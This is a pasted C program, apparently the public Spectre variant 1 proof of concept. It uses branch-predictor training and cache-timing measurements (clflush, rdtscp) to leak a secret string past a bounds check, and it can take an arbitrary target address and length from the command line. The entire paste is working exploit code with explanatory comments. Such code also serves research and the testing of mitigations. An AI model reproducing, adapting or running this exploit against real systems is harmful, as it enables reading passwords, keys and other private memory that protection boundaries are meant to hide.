Guest User

Untitled

a guest
Jan 4th, 2018
257
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 4.39 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <stdint.h>
  4. #ifdef _MSC_VER
  5. #include <intrin.h>
  6. /* for rdtscp and clflush */
  7. #pragma optimize("gt",on)
  8. #else
  9. #include <x86intrin.h>
  10. /* for rdtscp and clflush */
  11. #endif
  12. /********************************************************************
  13.   Victim code.
  14.  ********************************************************************/
  15. unsigned int array1_size = 16;
  16. uint8_t unused1[64];
  17. uint8_t array1[160] = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 };
  18. uint8_t unused2[64];
  19. uint8_t array2[256 * 512];
  20. char *secret = "The Magic Words are Squeamish Ossifrage.";
  21. uint8_t temp = 0;
  22. /* Used so compiler won't optimize out victim_function() */
  23. void victim_function(size_t x) {
  24.   if (x < array1_size) {
  25.     temp &= array2[array1[x] * 512];
  26.   }
  27. }
  28. /********************************************************************
  29.   Analysis code
  30.  ********************************************************************/
  31. #define CACHE_HIT_THRESHOLD (80)
  32. /* assume cache hit if time <= threshold */
  33. /* Report best guess in value[0] and runner-up in value[1] */
  34. void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
  35.   static int results[256];
  36.   int tries, i, j, k, mix_i, junk = 0;
  37.   size_t training_x, x;
  38.   register uint64_t time1, time2;
  39.   volatile uint8_t *addr;
  40.   for (i = 0; i < 256; i++)
  41.     results[i] = 0;
  42.   for (tries = 999; tries > 0; tries--) {
  43.     /* Flush array2[256*(0..255)] from cache */
  44.     for (i = 0; i < 256; i++)
  45.       _mm_clflush(&array2[i * 512]);
  46.     /* intrinsic for clflush instruction */
  47.     /* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
  48.     training_x = tries % array1_size;
  49.     for (j = 29; j >= 0; j--) {
  50.       _mm_clflush(&array1_size);
  51.       for (volatile int z = 0; z < 100; z++) {}
  52.       /* Delay (can also mfence) */
  53.       /* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
  54.       /* Avoid jumps in case those tip off the branch predictor */
  55.       x = ((j % 6) - 1) & ~0xFFFF;
  56.       /* Set x=FFF.FF0000 if j%6==0, else x=0 */
  57.       x = (x | (x >> 16));
  58.       /* Set x=-1 if j&6=0, else x=0 */
  59.       x = training_x ^ (x & (malicious_x ^ training_x));
  60.       /* Call the victim! */
  61.       victim_function(x);
  62.     }
  63.     /* Time reads. Order is lightly mixed up to prevent stride prediction */
  64.     for (i = 0; i < 256; i++) {
  65.       mix_i = ((i * 167) + 13) & 255;
  66.       addr = &array2[mix_i * 512];
  67.       time1 = __rdtscp(&junk);
  68.       /* READ TIMER */
  69.       junk = *addr;
  70.       /* MEMORY ACCESS TO TIME */
  71.       time2 = __rdtscp(&junk) - time1;
  72.       /* READ TIMER & COMPUTE ELAPSED TIME */
  73.       if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
  74.         results[mix_i]++;
  75.       /* cache hit - add +1 to score for this value */
  76.     }
  77.     /* Locate highest & second-highest results results tallies in j/k */
  78.     j = k = -1;
  79.     for (i = 0; i < 256; i++) {
  80.       if (j < 0 || results[i] >= results[j]) {
  81.         k = j;
  82.         j = i;
  83.       } else if (k < 0 || results[i] >= results[k]) {
  84.         k = i;
  85.       }
  86.     }
  87.     if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
  88.       break;
  89.     /* Clear success if best is > 2*runner-up + 5 or 2/0) */
  90.   }
  91.   results[0] ^= junk;
  92.   /* use junk so code above won't get optimized out*/
  93.   value[0] = (uint8_t)j;
  94.   score[0] = results[j];
  95.   value[1] = (uint8_t)k;
  96.   score[1] = results[k];
  97. }
  98. int main(int argc, const char **argv) {
  99.   size_t malicious_x=(size_t)(secret-(char*)array1);
  100.   /* default for malicious_x */
  101.   int i, score[2], len=40;
  102.   uint8_t value[2];
  103.   for (i = 0; i < sizeof(array2); i++)
  104.     array2[i] = 1;
  105.   /* write to array2 so in RAM not copy-on-write zero pages */
  106.   if (argc == 3) {
  107.     sscanf(argv[1], "%p", (void**)(&malicious_x));
  108.     malicious_x -= (size_t)array1;
  109.     /* Convert input value into a pointer */
  110.     sscanf(argv[2], "%d", &len);
  111.   }
  112.   printf("Reading %d bytes:\n", len);
  113.   while (--len >= 0) {
  114.     printf("Reading at malicious_x = %p... ", (void*)malicious_x);
  115.     readMemoryByte(malicious_x++, value, score);
  116.     printf("%s: ", (score[0] >= 2*score[1] ? "Success" : "Unclear"));
  117.     printf("0x%02X='%c' score=%d    ", value[0],
  118.         (value[0] > 31 && value[0] < 127 ? value[0] : '?'), score[0]);
  119.     if (score[1] > 0)
  120.       printf("(second best: 0x%02X score=%d)", value[1], score[1]);
  121.     printf("\n");
  122.   }
  123.   return (0);
  124. }
Advertisement
Add Comment
Please, Sign In to add comment